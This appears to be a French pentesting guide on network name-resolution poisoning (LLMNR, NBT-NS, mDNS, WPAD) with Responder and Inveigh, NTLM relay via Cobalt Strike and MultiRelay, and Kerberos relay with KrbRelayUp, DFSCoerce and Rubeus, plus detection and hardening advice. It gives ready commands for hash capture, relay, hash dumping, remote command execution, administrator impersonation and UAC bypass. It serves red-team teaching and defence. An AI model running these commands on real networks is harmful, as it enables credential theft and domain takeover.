Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relay

Reading time: 12 minutes

Protocoles Réseau

Protocoles de Résolution de Nom Local

• LLMNR, NBT-NS, et mDNS :
• Microsoft et d'autres systèmes d'exploitation utilisent LLMNR et NBT-NS pour la résolution de noms locaux lorsque DNS échoue. De même, les systèmes Apple et Linux utilisent mDNS.
• Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature non authentifiée et de diffusion sur UDP.
• Responder peut être utilisé pour usurper des services en envoyant des réponses falsifiées aux hôtes interrogeant ces protocoles.
• Des informations supplémentaires sur l'usurpation de services utilisant Responder peuvent être trouvées ici.

Protocole de Découverte Automatique de Proxy Web (WPAD)

• WPAD permet aux navigateurs de découvrir automatiquement les paramètres de proxy.
• La découverte est facilitée via DHCP, DNS, ou un retour à LLMNR et NBT-NS si DNS échoue.
• Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.

Responder pour le Poisoning de Protocole

• Responder est un outil utilisé pour empoisonner les requêtes LLMNR, NBT-NS, et mDNS, répondant sélectivement en fonction des types de requêtes, ciblant principalement les services SMB.
• Il est préinstallé dans Kali Linux, configurable à /etc/responder/Responder.conf.
• Responder affiche les hachages capturés à l'écran et les enregistre dans le répertoire /usr/share/responder/logs.
• Il prend en charge à la fois IPv4 et IPv6.
• La version Windows de Responder est disponible ici.

Exécution de Responder

• Pour exécuter Responder avec les paramètres par défaut : responder -I <Interface>
• Pour un probing plus agressif (avec des effets secondaires potentiels) : responder -I <Interface> -P -r -v
• Techniques pour capturer les défis/réponses NTLMv1 pour un craquage plus facile : responder -I <Interface> --lm --disable-ess
• L'usurpation WPAD peut être activée avec : responder -I <Interface> --wpad
• Les requêtes NetBIOS peuvent être résolues à l'IP de l'attaquant, et un proxy d'authentification peut être mis en place : responder.py -I <interface> -Pv

Poisoning DHCP avec Responder

• Le spoofing des réponses DHCP peut empoisonner de manière permanente les informations de routage d'une victime, offrant une alternative plus discrète au poisoning ARP.
• Cela nécessite une connaissance précise de la configuration du réseau cible.
• Exécution de l'attaque : ./Responder.py -I eth0 -Pdv
• Cette méthode peut capturer efficacement les hachages NTLMv1/2, mais nécessite une manipulation soigneuse pour éviter toute perturbation du réseau.

Capture de Credentials avec Responder

• Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Réponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
• Des tentatives peuvent être faites pour rétrograder à NetNTLMv1 ou désactiver ESS pour un craquage de credentials plus facile.

Il est crucial de noter que l'utilisation de ces techniques doit être effectuée légalement et éthiquement, en s'assurant d'une autorisation appropriée et en évitant toute perturbation ou accès non autorisé.

Inveigh

Inveigh est un outil pour les testeurs de pénétration et les équipes rouges, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, effectuant des attaques de spoofing et de man-in-the-middle. L'outil a évolué d'un script PowerShell à un binaire C#, avec Inveigh et InveighZero comme versions principales. Des paramètres détaillés et des instructions peuvent être trouvés dans le wiki.

Inveigh peut être utilisé via PowerShell :

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou exécuté en tant que binaire C#:

Inveigh.exe

NTLM Relay Attack

Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, accordant un shell système si elle réussit. Les prérequis clés incluent :

• L'utilisateur authentifié doit avoir un accès Admin Local sur l'hôte relayé.
• La signature SMB doit être désactivée.

445 Port Forwarding and Tunneling

Dans les scénarios où l'introduction directe dans le réseau n'est pas faisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme PortBender aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès admin local est disponible pour le chargement de pilotes.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Autres Outils pour l'Attaque de Relais NTLM

• Metasploit : Configuré avec des proxies, des détails sur les hôtes locaux et distants.
• smbrelayx : Un script Python pour relayer les sessions SMB et exécuter des commandes ou déployer des portes dérobées.
• MultiRelay : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou extraire des hachages.

Chaque outil peut être configuré pour fonctionner via un proxy SOCKS si nécessaire, permettant des attaques même avec un accès réseau indirect.

Fonctionnement de MultiRelay

MultiRelay est exécuté depuis le /usr/share/responder/tools répertoire, ciblant des IP ou des utilisateurs spécifiques.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Ces outils et techniques forment un ensemble complet pour mener des attaques de relais NTLM dans divers environnements réseau.

Forcer les connexions NTLM

Sous Windows, vous pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires. Lisez la page suivante pour apprendre comment :

Force NTLM Privileged Authentication

Attaque de relais Kerberos

Une attaque de relais Kerberos vole un ticket AP-REQ d'un service et le réutilise contre un second service qui partage la même clé de compte d'ordinateur (car les deux SPN se trouvent sur le même compte d'ordinateur $). Cela fonctionne même si les classes de service des SPN diffèrent (par exemple, CIFS/ → LDAP/) car la clé qui déchiffre le ticket est le hachage NT de la machine, et non la chaîne SPN elle-même, et la chaîne SPN ne fait pas partie de la signature.

Contrairement au relais NTLM, le saut est limité à la même hôte, mais si vous ciblez un protocole qui vous permet d'écrire sur LDAP, vous pouvez enchaîner vers la Délégation Contraignante Basée sur les Ressources (RBCD) ou l'enrôlement AD CS et obtenir NT AUTHORITY\SYSTEM en un seul coup.

Pour des informations détaillées sur cette attaque, consultez :

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Bases de Kerberos

• Les tickets sont chiffrés avec la clé dérivée du mot de passe du compte qui possède le SPN.
• L'Authentificateur à l'intérieur de l'AP-REQ a un horodatage de 5 minutes ; la relecture à l'intérieur de cette fenêtre est valide jusqu'à ce que le cache de service voie un duplicata.
• Windows vérifie rarement si la chaîne SPN dans le ticket correspond au service que vous atteignez, donc un ticket pour CIFS/HOST se déchiffre normalement bien sur LDAP/HOST.

• 2. Ce qui doit être vrai pour relayer Kerberos

1. Clé partagée : les SPN source et cible appartiennent au même compte d'ordinateur (par défaut sur les serveurs Windows).
2. Pas de protection de canal : SMB/LDAP désactivé et EPA désactivé pour HTTP/LDAPS.
3. Vous pouvez intercepter ou contraindre l'authentification : poison LLMNR/NBNS, spoof DNS, PetitPotam / DFSCoerce RPC, faux AuthIP, DCOM malveillant, etc.
4. Source du ticket non déjà utilisée : vous gagnez la course avant que le vrai paquet n'atteigne ou le bloquez entièrement ; sinon, le cache de relecture du serveur déclenche l'Événement 4649.
5. Vous devez d'une manière ou d'une autre être capable d'effectuer un MitM dans la communication, peut-être en faisant partie du groupe DNSAmins pour modifier le DNS du domaine ou en étant capable de changer le fichier HOST de la victime.

Étapes de relais Kerberos

• 3.1 Reconnaître l'hôte

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Démarrer l'écouteur de relais

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp encapsule KrbRelay → LDAP → RBCD → Rubeus → contournement SCM dans un seul binaire.

• 3.3 Forcer l'authentification Kerberos

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce fait en sorte que le DC nous envoie un ticket Kerberos CIFS/DC01.

• 3.4 Relayer l'AP-REQ

KrbRelay extrait le blob GSS de SMB, le reconditionne en un bind LDAP et le transfère à ldap://DC01—l'authentification réussit car la même clé le déchiffre.

• 3.5 Abuser de LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Vous possédez maintenant NT AUTHORITY\SYSTEM.

D'autres chemins à connaître

Dépannage

Détection

• Augmentation de l'événement 4769 pour CIFS/, HTTP/, LDAP/ provenant de la même source en quelques secondes.
• L'événement 4649 sur le service indique qu'un replay a été détecté.
• Une connexion Kerberos depuis 127.0.0.1 (relai vers SCM local) est très suspecte—cartographier via la règle Sigma dans la documentation de KrbRelayUp.
• Surveiller les changements des attributs msDS-AllowedToActOnBehalfOfOtherIdentity ou msDS-KeyCredentialLink.

Renforcement

1. Appliquer la signature LDAP & SMB + EPA sur chaque serveur.
2. Séparer les SPNs afin que HTTP ne soit pas sur le même compte que CIFS/LDAP.
3. Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
4. Définir ms-DS-MachineAccountQuota = 0 pour arrêter les ajouts de machines non autorisées.
5. Alerter sur l'événement 4649 et les connexions Kerberos de boucle locale inattendues.

Références

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html